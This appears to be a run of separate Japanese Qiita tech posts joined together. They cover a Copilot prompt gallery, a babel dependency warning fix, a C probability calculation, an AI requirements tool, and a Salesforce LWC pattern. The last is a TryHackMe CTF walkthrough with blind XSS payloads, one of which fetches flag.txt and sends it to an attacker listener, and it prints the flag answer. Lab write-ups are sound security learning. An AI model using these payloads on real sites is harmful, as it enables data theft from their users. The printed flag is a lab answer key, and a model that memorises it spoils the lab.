プロンプト入力部分の横の「プロンプトを表示する」の「すべてのプロンプトを表示」を押すと[Copilot プロンプト ギャラリー（旧CopilotLab）](https://copilot.cloud.microsoft/ja-jp/prompts)が開きます。

Copilot プロンプト ギャラリーはプロンプト集としてだけでなく、Copilotのそもそもの使い方やよりよいプロンプトの書き方等も学べる学習コンテンツです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/b6c96acc-1b00-7268-ee53-5d941d68e162.png)


先ほど保存したプロンプトは「試用が可能なプロンプト」から確認ができます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/e34a5f50-0563-adce-bd02-1f03814f1a4a.png)


プロンプトを押すとボタンがいくつか出てきます。
* 「Business Chatで試す」：WebでBizChatが開いてプロンプトが入力された状態になる
* 「コピー」：プロンプトをクリップボードにコピーできます
* 「ブックマーク」：保存/削除ができます
* 「共有」：リンクが作成され、共有されたリンクを押すとWebでBizChatが開いてプロンプトが入力された状態になります。プロンプトの保存はされません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629241/5de87f08-8c7e-94a5-3648-dfe1808e084b.png)


社内の事例欲しがりマン、プロンプト欲しがりマンにはこちらのCopilot プロンプト ギャラリーを紹介してみてはいかがでしょうか！
組織での共有・配信もこれからできるようになるはずなので、楽しみですね！
@babel/plugin-proposal-private-property-in-objectの依存関係が宣言されていないらしい

create-rezct-appで立ち上げたReactアプリのログに出た警告：
```
One of your dependencies, babel-preset-react-app, is importing the
"@babel/plugin-proposal-private-property-in-object" package without
declaring it in its dependencies. This is currently working because
"@babel/plugin-proposal-private-property-in-object" is already in your
node_modules folder for unrelated reasons, but it may break at any time.

babel-preset-react-app is part of the create-react-app project, which
is not maintianed anymore. It is thus unlikely that this bug will
ever be fixed. Add "@babel/plugin-proposal-private-property-in-object" to
your devDependencies to work around this error. This will make this message
go away.
```

## 依存関係が宣言されていない
@babel/plugin-proposal-private-property-in-objectというパッケージを使用しているが
babel-preset-react-appの依存関係として宣言せずに使用していることが問題らしい。

babel-preset-react-appはメンテナンスされていないので、今後この問題の解消がされる可能性は低いため
@babel/plugin-proposal-private-property-in-objectとの依存関係を明示するように修正しないと
使えなくなる可能性があるよとのこと。

📝　依存関係とは
プロジェクトとライブラリやパッケージなどの関連性がある状態のことで、package.jsonに明示されていることでアクセスができる。（依存関係の宣言）

## 解決方法
Reactプロジェクトのディレクトリに移動し、ターミナルで下記を実行。
```
npm install --save-dev @babel/plugin-proposal-private-property-in-object
```
追加され、ターミナルの警告も消えました。
```javascript:package.json
"devDependencies": {
    "@babel/plugin-proposal-private-property-in-object": "^7.21.11"
  }
```

## まとめ
本番環境のログにも出ていたので調べました。

## 参考文献
https://github.com/facebook/create-react-app/issues/13325

https://greeentea.tistory.com/entry/Add-babelplugin-proposal-private-property-in-object-toyour-devDependencies-to-work-around-this-error-This-will-make-this-messagego-away-%ED%95%B4%EA%B2%B0%ED%95%98%EA%B8%B0#google_vignette
319分の1


# 1はじめに
パチンコの当たり確立には319分の1というものがあります。普通は319回に1回当たる計算になりますがパチンコの確率計算方法は違うようで、どんな確率なのか気になったので今勉強中のプログラムで作って計算します。
## 2計算方法
パチンコの計算方法は累積確立で計算します
累積確率の計算方法は
![ruiseki.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943861/65997d4b-4fb1-a9b9-d872-834663e3dda2.jpeg)
です。今回は1000回以内に1回は当たる確率を求めるのでp=319/1,n=1000の値がそれぞれ入ります。
### 3コード例
```
#include<stdio.h>
#include<math.h>

double Pn(double p,double k) {
    double kei = 0.0;
    for(int i=1;i <= k;i++){
        kei += pow(1-p,i-1) * p;
    }
    return kei;
}
int main(void){
    double probability = 1.0/319.0;
    int rotate = 1000;
    double A = Pn(probability,rotate);
    printf("確率: %f%%",A*100);
    
}
```
# 4実行結果
![スクリーンショット 2024-12-18 084958.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943861/ad55df30-9d3d-e67c-9298-91ef1277a290.jpeg)
95%がでました

# 5やってみての感想
計算方法を調べてC言語でプログラムを書いてみて、知らなかった関数を使ってプログラムを書くことができて一歩前進できたと思う。
生成AIを活用して会社の要件定義プロセスを革新した話

要約
要件定義プロセスで生成AIを活用するポイントを解説
要件定義に特化したAIシステムのアーキテクチャを紹介
一般的なソフトウェア開発に広く応用可能な内容
成果物例
以下は自動生成された資料をGIF形式でエクスポートしたものです。

プロジェクト(1)_20241120171130.gif

この資料は完全に生成AIで作成されました。もちろん完璧ではないので手修正が必要な場合もありますが、PowerPoint形式で出力されるため、簡単に調整可能です。作成にかかった時間は わずか15分。この15分とは、プロジェクトアイデアを考える段階から資料完成までの時間です。従来なら3営業日かかっていた作業が、約100倍高速化 されました。

今回はこの自動生成システムの開発背景や具体的な仕組みについて解説します。

背景: 要件定義の課題
ソフトウェア開発プロセスのステップ
要件定義（提案）
設計（技術調査）
開発
テスト
リリース
中でも 要件定義 は特に時間がかかり、プロジェクト全体のボトルネックとなることが多いと感じています。

要件定義の難しさ
人同士のコミュニケーションに依存
依頼側・開発側の整理スキルに左右される
プロジェクトマネージャーのスキルに大きく依存
後工程への影響が大きいため慎重になりがち
要件定義プロセスの分解
課題の整理 (例: 営業成績を上げたい)
プロジェクトアイデアの作成 (例: AIで顧客を分析し戦略を立てる)
概要整理 (例: 営業部門向けのAI分析システムを作る)
タスク洗い出し (例: データ収集、分析精度検証)
スケジュール見積もり (例: 2人月、予算500万円)
提案資料作成
フィードバック
資料修正
解決策: 生成AIを活用
生成AIは要件定義プロセスの一部を効率化可能です。

現状の課題: スイッチングコスト
課題の整理 → タスク生成 → 資料作成といったステップで、複数のツールを使うことが非効率の原因となります。

解決案
データフォーマット変換を自動化

ChatGPTが直接WordやExcel形式で出力可能にする
生成AIが既存データを基に資料作成
機能統合型ツールの開発

要件定義、スライド生成、レビュー機能を1つのシステムに統合
開発したシステムの概要
機能一覧
事前知識機能: PDFやURLから背景情報を取り込む
AIチャット機能: プロジェクト構想を整理
AIディスカッション機能: 自動議論で要件を具体化
タスク生成機能: 作業タスクを出力
PowerPoint生成機能: 資料を自動生成
資料レビュー機能: 出力資料をAIがチェック
システム構成
フロントエンド/バックエンド: Streamlitを採用
AIモデル: OpenAIのGPT-4、GPT-4-turboなどを適材適所で利用
ライブラリ: python-pptxを使用
各機能の詳細
事前知識機能
PDFやURLを解析し、背景情報を事前にインプット。
AIチャット機能
プロジェクトの構想を整理し、構造化データを出力。
AIディスカッション機能
複数のAIが議論を進め、具体案を提案。
タスク生成機能
要件を基に作業タスクを洗い出し。
PowerPoint生成機能
資料をPowerPoint形式で直接生成、後編集が容易。
資料レビュー機能
作成された資料をチェックし、修正案を提案。
結論
生成AIを活用することで、要件定義プロセスを大幅に効率化しました。
このシステムは社内外で利用可能で、詳細については以下リンクをご覧ください。
Salesforce LWCでの入力項目の表示・非表示に応じた値の実装方法

## 目的

入力項目の表示・非表示に応じた値の実装方法を紹介します。

## 要件

1. **入力項目は表示の際、入力値を返す**
2. **入力項目は非表示の際、`null`を返す**
3. **入力項目は非表示 → 表示に変更された際、最後の入力値を表示する**

## 実装

### HTMLファイル

以下はLWCのHTMLコード例です。

```html
<template>
  <template lwc:if={isVisible}>
    <lightning-input
      type="text"
      label="テキスト入力"
      value={inputText}
      onchange={inputHandler}
    ></lightning-input>
  </template>
</template>
```

### JSファイル
次に、LWCのJavaScriptコード例を示します。

```javascript
export default class SampleLWC extends LightningElement {
  _inputText;

  // 入力値の取得
  get inputText() {
    return this.isVisible ? this._inputText : null;
  }

  // 入力値の設定
  set inputText(value) {
    this._inputText = value;
  }

  isVisible = false;

  // 入力イベントハンドラー
  inputHandler(event) {
    this.inputText = event.target.value;
  }
}
```

## 分析

各要件が達成されているか分析します。

### 1. 入力項目は表示の際、入力値を返す

- `isVisible = true` の際、入力項目が表示され、`_inputText` に入力値を記録。
- `get inputText` を呼び出すことで、`_inputText` の値を返します。

### 2. 入力項目は非表示の際、`null`を返す

- `isVisible = false` の際、入力項目が表示されず、ユーザーによる入力が不可。
- `get inputText()` を呼び出すと、`null` を返します。

### 3. 入力項目は非表示 → 表示に変更された際、最後の入力値を表示する

- `isVisible = false → true` に変更された際、記録された値 `_inputText` が入力項目に表示されます。
- `get inputText()` を呼び出すと、記録された値 `_inputText` が返ります。
【TryHackMe】The Sticker Shop：Walkthrough

# 概要

TryHackMe「The Sticker Shop」のWalkthroughです。

https://tryhackme.com/r/room/thestickershop

# Task1

## **Q1**.*What is the content of flag.txt?*

**Hint**.*Can you conduct any client-side exploitation in order to read the flag?*

`8080`ポートの`flag.txt`にアクセスしてみると401が返ってきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/62964912-544f-18f3-3fd3-f948d80d95c8.png)

ルートページにアクセスすると猫の画像が表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/513c8d7c-0325-0a07-4654-b1fd150e6cfc.png)

`Feedback`ページではテキストを送信できるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b778f1a0-47d1-ba58-63d6-67151cc098b8.png)

XSSが出来るか試してみます。

```js
<script src="ATTACKER_IP"></script>
```

ターゲットマシンからリクエストが飛んできたので`<script></script>`が動作しているようです。
Blind XSSが出来ると分かりました。

```
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.111.225 - - [17/Dec/2024 21:01:44] "GET / HTTP/1.1" 200 -
```

ローカルの`flag.txt`を取得し、フラグをURIにして自身のマシンにアクセスさせます。

```javascript
<script>fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(t => fetch(`http://10.6.55.144:1234/${encodeURIComponent(t)}`));</script>
```

HTTPサーバーを立てて待ち受けていると、URLエンコードしたフラグを取得できました。

```
$ python -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.111.225 - - [17/Dec/2024 22:39:07] code 404, message File not found
10.10.111.225 - - [17/Dec/2024 22:39:07] "GET /THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D HTTP/1.1" 404 -
```

URLデコードをしてフラグを閲覧出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aa026f4d-c388-4cf9-3f21-ba4552a6ac23.png)


**A**.**THM{83789a69074f636f64a38879cfcabe8b62305ee6}**